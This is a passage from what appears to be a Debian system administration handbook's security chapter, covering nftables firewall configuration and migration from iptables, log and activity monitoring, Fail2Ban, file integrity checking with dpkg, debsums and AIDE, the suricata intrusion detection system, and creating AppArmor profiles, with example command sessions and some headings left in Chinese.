The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives.

TOOLS fwbuilder and ufw

Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent.

A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.

An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block incoming traffic on ports which cannot be assigned to a limited set of interfaces or closed appropriately.

To enable a default firewall in Debian execute:

# apt install -y nftables

Reading package lists... Done

...

# systemctl enable nftables.service

Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables Behavior

As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.

CULTURE The OSI model

The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

This model was defined in the standard ISO/EIC 7498. The following seven layers are described:

1. Physical: transmission and reception of raw bit streams over a physical medium

2. Data Link: reliable transmission of data frames between two nodes connected by a physical layer

3. Network: structuring and managing a multi-node network, including addressing, routing and traffic control

4. Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing

5. Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes

6. Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption

7. Application: High-level APIs, including resource sharing, remote file access.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/OSI_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

BACK TO BASICS ICMP

ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).

Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Moving from iptables to nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt

# iptables-restore-translate -f iptables-ruleset.txt

# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022

add table ip filter

add chain ip filter INPUT { type filter hook input priority 0; policy accept; }

add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }

add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }

add chain ip filter DOCKER

add chain ip filter DOCKER-ISOLATION-STAGE-1

add chain ip filter DOCKER-ISOLATION-STAGE-2

add chain ip filter DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1

add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept

add rule ip filter FORWARD oifname "docker0" counter jump DOCKER

add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept

add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept

add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2

add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return

add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop

add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return

add rule ip filter DOCKER-USER counter return

add table ip nat

add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }

add chain ip nat INPUT { type nat hook input priority 100; policy accept; }

add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }

add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }

add chain ip nat DOCKER

add rule ip nat PREROUTING fib daddr type local counter jump DOCKER

add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER

add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade

add rule ip nat DOCKER iifname "docker0" counter return

# Completed on Wed Mar 16 22:06:32 2022

# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft

# nft -f ruleset.nft

# nft list ruleset

table inet filter {

chain input {

type filter hook input priority filter; policy accept;

}

chain forward {

type filter hook forward priority filter; policy accept;

}

chain output {

type filter hook output priority filter; policy accept;

}

}

table ip nat {

chain DOCKER {

iifname "docker0" counter packets 0 bytes 0 return

iifname "docker0" counter packets 0 bytes 0 return

}

chain POSTROUTING {

type nat hook postrouting priority srcnat; policy accept;

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

}

chain PREROUTING {

type nat hook prerouting priority dstnat; policy accept;

fib daddr type local counter packets 1 bytes 60 jump DOCKER

fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain OUTPUT {

type nat hook output priority -100; policy accept;

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain INPUT {

type nat hook input priority 100; policy accept;

}

}

table ip filter {

chain DOCKER {

}

chain DOCKER-ISOLATION-STAGE-1 {

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

}

chain DOCKER-ISOLATION-STAGE-2 {

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

}

chain FORWARD {

type filter hook forward priority filter; policy drop;

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state related,established counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state established,related counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

}

chain DOCKER-USER {

counter packets 0 bytes 0 return

counter packets 0 bytes 0 return

}

chain INPUT {

type filter hook input priority filter; policy accept;

}

chain OUTPUT {

type filter hook output priority filter; policy accept;

}

}

The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.

14.2.3. Syntax of nft

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft allows many more operations, refer to its manual page nft(8) for more information.

14.2.4. Installing the Rules at Each Boot

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root.

In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw.

範例 14.1. interfaces file calling firewall script

auto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

This obviously assumes that you are using ifupdown to configure the network interfaces. If you are using something else (like NetworkManager or systemd-networkd), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.

14.3. Supervision: Prevention, Detection, Deterrence

Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes 節 12.4, “監控”.

14.3.1. Monitoring Logs with logcheck

The logcheck program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.

The list of monitored files is stored in /etc/logcheck/logcheck.logfiles; the default values work fine if the /etc/rsyslog.conf file has not been completely overhauled.

logcheck can work in one of three more or less detailed modes: paranoid, server and workstation. The first one is very verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).

In all three cases, logcheck should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz is a required — if challenging — read.

The applied rules can be split into several types:

- those that qualify a message as a cracking attempt (stored in a file in the /etc/logcheck/cracking.d/ directory);

- those canceling such a qualification (/etc/logcheck/cracking.ignore.d/);

- those classifying a message as a security alert (/etc/logcheck/violations.d/);

- those canceling this classification (/etc/logcheck/violations.ignore.d/);

- finally, those applying to the remaining messages (considered as system events).

CAUTION Ignoring a message

Any message tagged as a cracking attempt or a security alert (following a rule stored in a /etc/logcheck/violations.d/myfile file) can only be ignored by a rule in a /etc/logcheck/violations.ignore.d/myfile or /etc/logcheck/violations.ignore.d/myfile-extension file.

A system event is always signaled unless a rule in one of the /etc/logcheck/ignore.d.{paranoid,server,workstation}/ directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.

14.3.2. Monitoring Activity

14.3.2.1. 即時

top is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the P key. Other sort orders include a sort by occupied memory (M key), by total processor time (T key) and by process identifier (N key). The k key allows killing a process by entering its process identifier. The r key allows renicing a process, i.e. changing its priority.

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.

The gnome-system-monitor graphical tool is similar to top and it provides roughly the same features.

14.3.2.2. 歷史

Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.

There are many dedicated tools for this task. Most can fetch data via SNMP (Simple Network Management Protocol) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.

This book deals with Munin in some detail (see 節 12.4.1, “搭建 Munin”) as part of 章 12: “高級管理”. Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

ALTERNATIVE mrtg

mrtg (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.

The mrtg-contrib and mrtgutils packages contain example scripts that can be used directly.

14.3.3. Avoiding Intrusion

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:

- fail2ban.conf. Global configuration (such as logging).

- filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

- action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses.

- jail.conf. It is where jails, the combinations of filters and actions, are defined.

Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...]

[DEFAULT]

[...]

bantime   = 10m

[...]

findtime  = 10m

[...]

maxretry  = 5

[...]

[sshd]

port     = ssh

logpath  = %(sshd_log)s

backend  = %(sshd_backend)s

Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes.

To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory.

Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. Detecting Changes

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. Auditing Packages with dpkg --verify

GOING FURTHER Protecting against upstream changes

dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see 節 6.6, “檢查套件真偽”), and taking care to only install packages from a certified origin.

dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/package.md5sums); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.

BACK TO BASICS File fingerprint

As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task.

Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).

# dpkg -V

??5??????   /lib/systemd/system/ssh.service

??5?????? c /etc/libvirt/qemu/networks/default.xml

??5?????? c /etc/lvm/lvm.conf

??5?????? c /etc/salt/roster

In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.

14.3.4.2. Auditing Packages: debsums and its Limits

debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds).

Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb files instead of relying on dpkg's database. To download trusted .deb files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

Note that this example uses the grep-status command from the dctrl-tools package, which is not installed by default.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. Monitoring Files: AIDE

The AIDE tool (Advanced Intrusion Detection Environment) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (/var/lib/aide/aide.db) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with aideinit; it is then used daily (by the /etc/cron.daily/aide script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (/var/log/aide/*.log) and sends its findings to the administrator by email.

IN PRACTICE Protecting the database

Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.

Many options in /etc/default/aide can be used to tweak the behavior of the aide package. The AIDE configuration proper is stored in /etc/aide/aide.conf and /etc/aide/aide.conf.d/ (actually, these files are only used by update-aide.conf to generate /var/lib/aide/aide.conf.autogenerated). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the aide.conf(5) manual page is therefore recommended.

A new version of the database is generated daily in /var/lib/aide/aide.db.new; if all recorded changes were legitimate, it can be used to replace the reference database.

ALTERNATIVE Tripwire and Samhain

Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by tripwire is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.

Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar QUICK LOOK The checksecurity and chkrootkit/rkhunter packages). It can also be deployed globally on a network, and record its traces on a central server (with a signature).

QUICK LOOK The checksecurity and chkrootkit/rkhunter packages

The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.

The chkrootkit and rkhunter packages allow looking for rootkits potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. Detecting Intrusion (IDS/NIDS)

BACK TO BASICS Denial of service

A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).

Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not).

suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

CAUTION Range of action

The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.

Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.

On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target).

To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it.

Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources.

GOING FURTHER Integration with prelude

Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the manager in prelude-manager) which gathers alerts generated by sensors of various types.

Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in 節 14.3.1, “Monitoring Logs with logcheck”).

14.4. Introduction to AppArmor

14.4.1. Principles

AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in 節 14.5, “Introduction to SELinux”), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

AppArmor profiles are stored in /etc/apparmor.d/ and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.

14.4.2. Enabling AppArmor and managing AppArmor profiles

AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges.

AppArmor is functional after the installation, and aa-status will confirm it quickly:

# aa-status

apparmor module is loaded.

32 profiles are loaded.

15 profiles are in enforce mode.

/usr/bin/man

[...]

17 profiles are in complain mode.

/usr/sbin/dnsmasq

[...]

1 processes have profiles defined.

1 processes are in enforce mode.

/usr/sbin/libvirtd (468) libvirtd

0 processes are in complain mode.

0 processes are unconfined but have a profile defined.

NOTE More AppArmor profiles

The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin

Setting /usr/bin/pidgin to enforce mode.

# aa-complain /usr/sbin/dnsmasq

Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Creating a new profile

Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.

The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid option you get all unconfined processes that have at least one active network connection.

# aa-unconfined

451 /usr/bin/containerd not confined

467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined

892 /usr/sbin/exim4 not confined

In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient

Writing updated profile for /usr/sbin/dhclient.

Setting /usr/sbin/dhclient to complain mode.

Before you begin, you may wish to check if a

profile already exists for the application you

wish to confine. See the following wiki page for

more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

S

Reading log entries from /var/log/syslog.

Profile:  /usr/sbin/dhclient

Execute:  /usr/sbin/dhclient-script

Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish

P

Should AppArmor sanitise the environment when

switching profiles?

Sanitising environment is more secure,

but some applications depend on the presence

of LD_PRELOAD or LD_LIBRARY_PATH.

[(Y)es] / (N)o

Y

Writing updated profile for /usr/sbin/dhclient-script.

Complain-mode changes:

Profile:    /usr/sbin/dhclient

Capability: net_raw

Severity:   8

[1 - capability net_raw,]

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding capability net_raw, to profile.

Profile:    /usr/sbin/dhclient

Capability: net_bind_service

Severity:   8

[1 - #include <abstractions/nis>]

2 - capability net_bind_service,

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding #include <abstractions/nis> to profile.

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/openssl>

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

2

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

1 - #include <abstractions/lightdm>

[2 - #include <abstractions/openssl>]

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore

A

[...]

Profile:  /usr/sbin/dhclient-script

Path:     /usr/bin/dash

New Mode: owner r

Severity: unknown

1 - #include <abstractions/gvfs-open>

[2 - #include <abstractions/lightdm>]

3 - #include <abstractions/ubuntu-browsers.d/plugins-common>

4 - #include <abstractions/xdg-open>

5 - owner /usr/bin/dash r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

A

Adding #include <abstractions/lightdm> to profile.

Deleted 2 previous matching profile entries.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /usr/sbin/dhclient]

2 - /usr/sbin/dhclient-script

(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t

S

Writing updated profile for /usr/sbin/dhclient.

Writing updated profile for /usr/sbin/dhclient-script.

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

F

Setting /usr/sbin/dhclient to enforce mode.

Setting /usr/sbin/dhclient-script to enforce mode.

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!

